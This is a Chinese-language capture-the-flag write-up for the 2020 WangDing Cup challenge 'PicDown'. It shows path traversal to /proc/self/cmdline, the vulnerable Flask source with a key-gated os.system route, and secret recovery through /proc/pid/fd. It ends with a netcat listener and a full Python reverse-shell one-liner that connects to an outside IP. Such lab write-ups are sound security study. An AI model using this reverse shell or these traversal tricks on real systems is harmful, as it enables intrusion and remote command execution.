[網鼎杯 2020 白虎組]PicDown


存在任意文件讀取

非預期讀取flag

預期解
讀取當前進程執行命令
../../../../../proc/self/cmdlinelinux proc/pid/信息說明

可以看到是使用python2執行了app.py文件,讀取一下

from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib

app = Flask(__name__)

SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE)


@app.route('/')
def index():
    return render_template('search.html')


@app.route('/page')
def page():
    url = request.args.get("url")
    try:
        if not url.lower().startswith("file"):
            res = urllib.urlopen(url)
            value = res.read()
            response = Response(value, mimetype='application/octet-stream')
            response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
            return response
        else:
            value = "HACK ERROR!"
    except:
        value = "SOMETHING WRONG!"
    return render_template('search.html', res=value)


@app.route('/no_one_know_the_manager')
def manager():
    key = request.args.get("key")
    print(SECRET_KEY)
    if key == SECRET_KEY:
        shell = request.args.get("shell")
        os.system(shell)
        res = "ok"
    else:
        res = "Wrong Key!"

    return res


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=8080)

可以看到no_one_know_the_manager中要匹配SECRET_KEY,然后執行shell,但是SECRET_KEY所在的secret.txt被刪掉了
此處可以通過/proc/pid/fd/讀取,這個目錄包含了進程打開的每一個文件的鏈接

拿到key的內容,但是shell執行的命令不會返回,這里使用反彈shell的方式,在根目錄下讀取flag

在BUU新建一個小號,從basic分類開啟一台靶機,ssh連接后執行nc -lvp 7777
本地使用python反彈shell
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.1.99.145',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

url編碼后發送

參考
https://www.cnblogs.com/vege/p/12913502.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM